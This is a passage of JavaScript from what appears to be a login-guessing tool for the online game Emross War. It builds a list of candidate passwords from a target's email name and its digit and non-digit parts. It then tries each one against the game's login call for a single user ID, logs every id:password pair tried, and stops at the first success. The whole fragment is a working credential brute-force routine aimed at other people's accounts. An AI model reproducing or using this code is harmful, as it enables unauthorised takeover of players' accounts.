					self.pwTbl.unshift(only_num[0]);
					
				debug.log( this, ' new added pws : ', email_name, name_nonum, only_num);
				
				self.pw_idx =0;
				self.cur_pw = self.pwTbl[0];
				self.server = '';
				self.stop = false;
				// start login 
				em.tasks4user.processLogin(self.cur_id, self.cur_pw);
				
			});
	},
	
	show: function() {
		$('#trylogin_panel').show();
	},
	
	reshow: function() {
		$('#trylogin_panel').empty();
		this.initialize();
	},
	
	tryLogin: function( id, pw) {
		em.tasks4user.processLogin(self.cur_id, self.cur_pw);
		
	},
	resultLogin : function( type, o) {
			var self = this;
			debug.log(this, self, type, o);
			
			var types = type.split(".");
			switch( types[0]) {
				case 'ERROR':
					debug.log(self, 'ERROR LOGIN.. ');
					if ( types[1] == 'LOGIN_INFO') {
						debug.log(this, 'Invalid user name');
					} else if ( types[1] == 'LOGIN_API') { 
						debug.log(this, 'Invalid Passwd');
					}
					
					// update ui 
					this.updateResult('ERROR', types[1]);
					break;
					
				case'DATA':
					if( types[1] == 'userinfo') {
					
					}
					else if ( types[1] == 'key') {
					// update user key 
			/*
					var userinfo = CDB.getCurUserInfo();
								var newkey  = o;
								debug.log (self, 3,  ' resultLogin:: prev Key :: Store !!!!!!! ' + userinfo.key);
								userinfo.key = newkey;		// update key
								debug.log (self, 3,  ' resultLogin:: new  Key :: Store !!!!!!! ' + newkey);
								
								// set local storage
								CUtil.saveStorage('sessionkey_' +  CDB.getCurUserName() , newkey );
								// localStorage.setItem('sessionkey_' +  CDB.getCurUserName() , newkey );
								 */
			
			 		// reflect to Query class
					// CQuery.setQueryKey(newkey);
					
					this.updateResult('OK', o);
						//this.updateKey(o);


				}
				else if ( types[1] == 'server' ) {
					// add table with server name 
							// "server":"http:\/\/k2.emrosswar.com\/",
						// "user":"Greateload","referer":"feelcool","refercode":"Greateload"}})
						// this.updateServer(o);
						CQuery.setServerurl(o);
							this.updateResult('SERVER', o);
	/*
					// update user server
						var userinfo = CDB.getCurUserInfo();
						var server  = o;
						debug.log (self, 3,  ' resultLogin:: server  ::: ' + server);
						userinfo.serverinfo.serverurl = server;		// update key
												   // reflect to Query class
						CQuery.setServerurl(server);	
						*/
	
				}
			// $.extend( userinfo.castles , data.ret.user.city);
			// debug.log(self, 'process Data', o);
			break;
			case 'NOTY':
			debug.log(self, 'NOTYT', o);
			break;
		}	
	},
	
	
	updateResult: function( type, o) {
		var self = this;
		var detail = '';
		if ( type == 'ERROR') {
			detail = o;
			// invalid user 
			if ( 0 == 'LOGIN_INFO') {
				detail += ' Invalid User :: STop !';
				self.stop = true;
			}
		}
		if ( type == 'SERVER') {
			this.server = o;
			return;
		}
		
		if ( type == 'OK') {
			detail =  this.server + ' OK ~~~~~~~~~~~ ';
			self.stop = true;
		}
		
		
		$('#try_pwlist')
			.append( $('<span>').text(this.cur_id +':' + this.cur_pw + ' '))
			.append( $('<p>').text( type + ' :' + detail )) ;
		
		
		// check end of pw tbl 
		if ( ++ this.pw_idx >= self.pwTbl.length || self.stop ) {
			alert( ' Finished with all passwd !! ' + detail );
			return;
		}
		// go next with pw 
		self.cur_pw = self.pwTbl[ this.pw_idx];
		em.tasks4user.processLogin(self.cur_id, self.cur_pw);
			
	},
};